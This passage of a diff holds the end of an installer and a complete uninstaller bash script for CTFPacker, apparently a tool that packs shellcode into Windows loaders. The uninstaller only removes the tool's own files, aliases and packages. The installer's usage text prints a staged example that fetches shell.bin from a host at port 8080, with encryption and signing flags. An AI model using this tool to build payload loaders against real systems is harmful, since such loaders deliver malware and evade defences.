log_success "MinGW libs → $MINGW_LIB"
else
log_warn "MinGW libs not found at $MINGW_LIB"
MISSING+=("mingw-lib")
fi
if [[ -n "$GCC_WIN32_PATH" ]]; then
log_success "GCC win32 path → $GCC_WIN32_PATH"
else
log_warn "GCC win32 runtime path not found (will fall back to MINGW_LIB in Makefile)"
fi
# Check for winhttp / ntdll import stubs (needed at link time)
for stub in libwinhttp.a libntdll.a; do
if [[ -f "$MINGW_LIB/$stub" ]]; then
log_success "$stub found"
else
log_warn "$stub not found in $MINGW_LIB — linking may fail"
fi
done
# =============================================================================
# Summary
# =============================================================================
echo ""
if [[ ${#MISSING[@]} -gt 0 ]]; then
log_warn "Some components were not found: ${MISSING[*]}"
log_warn "If these are PATH-related, open a new shell or run:"
log_warn " source ~/.bashrc (or ~/.zshrc)"
else
log_success "All components verified successfully."
fi
echo ""
echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}"
echo -e "${BOLD}${GREEN} Installation complete!${NC}"
echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}"
echo ""
echo -e " ${CYAN}CTFPacker is installed globally for user '${REAL_USER}'.${NC}"
echo -e " ${CYAN}Open a new terminal (or source your shell rc) then:${NC}"
echo ""
echo -e " ${CYAN}App launcher:${NC}"
echo -e " Search for ${YELLOW}CTFPacker GUI${NC} in your application menu / launcher"
echo ""
echo -e " ${CYAN}Run CTFPacker (CLI):${NC}"
echo -e " ${YELLOW}ctfpacker -h${NC} ${CYAN}or${NC} ${YELLOW}ctfp -h${NC}"
echo ""
echo -e " ${CYAN}Run CTFPacker (GUI):${NC}"
echo -e " ${YELLOW}ctfpacker-gui${NC} ${CYAN}or${NC} ${YELLOW}ctfpg${NC}"
echo ""
echo -e " ${CYAN}Staged example:${NC}"
echo -e " ${YELLOW}ctfp staged -p shellcode.bin -i 192.168.1.1 -po 8080 -pa /shell.bin -e -s${NC}"
echo ""
echo -e " ${CYAN}Stageless example:${NC}"
echo -e " ${YELLOW}ctfp stageless -p shellcode.bin -e -s${NC}"
echo ""
echo -e " ${CYAN}Aliases installed:${NC} ${YELLOW}ctfp${NC} → ctfpacker ${YELLOW}ctfpg${NC} → ctfpacker-gui"
echo -e " ${CYAN}(Reload your shell:${NC} ${YELLOW}source ~/.bashrc${NC} or open a new terminal)"
echo ""
+198
View File
@@ -0,0 +1,198 @@
#!/usr/bin/env bash
# =============================================================================
# CTFPacker Uninstaller for Debian-based systems
# Tested on: Kali Linux, Ubuntu 22.04+, Debian 12+
# =============================================================================
set -euo pipefail
# ── Colours ──────────────────────────────────────────────────────────────────
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
BOLD='\033[1m'
NC='\033[0m'
log_info() { echo -e "${CYAN}[*]${NC} $*"; }
log_success() { echo -e "${GREEN}[+]${NC} $*"; }
log_warn() { echo -e "${YELLOW}[!]${NC} $*"; }
log_error() { echo -e "${RED}[-]${NC} $*" >&2; }
log_banner() { echo -e "\n${BOLD}${CYAN}$*${NC}\n"; }
# ── Root check ───────────────────────────────────────────────────────────────
if [[ $EUID -ne 0 ]]; then
log_error "This script must be run as root."
echo -e " Try: ${YELLOW}sudo bash uninstall.sh${NC}"
exit 1
fi
# ── Debian/apt check ─────────────────────────────────────────────────────────
if ! command -v apt-get &>/dev/null; then
log_error "apt-get not found. This uninstaller only supports Debian-based systems."
exit 1
fi
# ── Resolve the real (non-root) user ─────────────────────────────────────────
REAL_USER="${SUDO_USER:-$USER}"
REAL_HOME="$(getent passwd "$REAL_USER" | cut -d: -f6)"
PIPX_BIN="$REAL_HOME/.local/bin"
# ── Banner ───────────────────────────────────────────────────────────────────
echo ""
echo -e "${RED}${BOLD}"
cat << 'EOF'
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░
EOF
echo -e "${NC}"
echo -e " ${CYAN}Uninstaller — Debian-based systems${NC}"
echo -e " ${CYAN}Author: mocha | https://mochabyte.xyz${NC}"
echo ""
# =============================================================================
# Confirmation
# =============================================================================
echo -e "${YELLOW}${BOLD}This will remove:${NC}"
echo -e " • CTFPacker pipx package + entry points (ctfpacker, ctfpacker-gui)"
echo -e " • Desktop entry and icon"
echo -e " • Shell aliases (ctfp, ctfpg) from .bashrc / .zshrc"
echo -e " • Build artifacts (.ctfpacker/ temp dir, if present)"
echo ""
read -rp "$(echo -e "${BOLD}Continue? [y/N] ${NC}")" CONFIRM
if [[ ! "$CONFIRM" =~ ^[Yy]$ ]]; then
log_warn "Aborted."
exit 0
fi
# =============================================================================
# STEP 1 — Remove pipx package
# =============================================================================
log_banner "STEP 1 — Removing pipx package"
if sudo -u "$REAL_USER" pipx list 2>/dev/null | grep -q "ctfpacker"; then
sudo -u "$REAL_USER" pipx uninstall ctfpacker
log_success "ctfpacker uninstalled from pipx."
else
log_warn "ctfpacker not found in pipx — skipping."
fi
# =============================================================================
# STEP 2 — Remove desktop entry and icon
# =============================================================================
log_banner "STEP 2 — Removing desktop entry and icon"
DESKTOP_PATH="$REAL_HOME/.local/share/applications/ctfpacker-gui.desktop"
ICON_PATH="$REAL_HOME/.local/share/icons/ctfpacker.png"
if [[ -f "$DESKTOP_PATH" ]]; then
rm -f "$DESKTOP_PATH"
log_success "Desktop entry removed."
else
log_warn "Desktop entry not found — skipping."
fi
if [[ -f "$ICON_PATH" ]]; then
rm -f "$ICON_PATH"
log_success "Icon removed."
else
log_warn "Icon not found — skipping."
fi
# Refresh desktop database
if command -v update-desktop-database &>/dev/null; then
sudo -u "$REAL_USER" update-desktop-database "$REAL_HOME/.local/share/applications" 2>/dev/null || true
fi
if command -v gtk-update-icon-cache &>/dev/null; then
gtk-update-icon-cache -f -t "$REAL_HOME/.local/share/icons" 2>/dev/null || true
fi
# =============================================================================
# STEP 3 — Remove shell aliases
# =============================================================================
log_banner "STEP 3 — Removing shell aliases"
remove_aliases() {
local rc_file="$1"
if [[ -f "$rc_file" ]] && grep -q 'CTFPacker aliases' "$rc_file" 2>/dev/null; then
# Remove the alias block (comment header + 2 alias lines + footer comment)
sed -i '/# ── CTFPacker aliases/,/# ──────────────────────────────────────────────────────────────────────────────/d' "$rc_file"
# Also strip any leftover blank line that sed may leave
sed -i '/^$/N;/^\n$/d' "$rc_file"
log_success "Aliases removed from $rc_file"
else
log_warn "No CTFPacker aliases found in ${rc_file} — skipping."
fi
}
remove_aliases "$REAL_HOME/.bashrc"
remove_aliases "$REAL_HOME/.zshrc"
# =============================================================================
# STEP 4 — Remove build artifacts
# =============================================================================
log_banner "STEP 4 — Removing build artifacts"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
CTFPACKER_TMP="$SCRIPT_DIR/Linux/.ctfpacker"
if [[ -d "$CTFPACKER_TMP" ]]; then
rm -rf "$CTFPACKER_TMP"
log_success "Build temp dir removed: $CTFPACKER_TMP"
else
log_warn "No build temp dir found — skipping."
fi
# =============================================================================
# STEP 5 — APT packages (optional)
# =============================================================================
log_banner "STEP 5 — APT packages (optional)"
APT_PKGS=(
clang
lld
nasm
mingw-w64
osslsigncode
pipx
)
echo -e "${YELLOW}${BOLD}The following APT packages were installed by CTFPacker:${NC}"
printf ' %s\n' "${APT_PKGS[@]}"
echo ""
echo -e "${YELLOW} WARNING: These may be used by other tools on your system.${NC}"
echo ""
read -rp "$(echo -e "${BOLD}Remove these APT packages? [y/N] ${NC}")" REMOVE_APT
if [[ "$REMOVE_APT" =~ ^[Yy]$ ]]; then
log_info "Removing APT packages..."
DEBIAN_FRONTEND=noninteractive apt-get remove -y "${APT_PKGS[@]}" 2>/dev/null || true
apt-get autoremove -y 2>/dev/null || true
log_success "APT packages removed."
else
log_warn "APT packages kept."
fi
# =============================================================================
# Summary
# =============================================================================
echo ""
echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}"
echo -e "${BOLD}${GREEN} Uninstall complete!${NC}"
echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}"
echo ""
echo -e " ${CYAN}The CTFPacker source directory was NOT removed.${NC}"
echo -e " To fully delete it: ${YELLOW}rm -rf $SCRIPT_DIR${NC}"
echo ""
echo -e " ${CYAN}Reload your shell to clear the aliases:${NC}"
echo -e " ${YELLOW}source ~/.bashrc${NC} or open a new terminal"
echo ""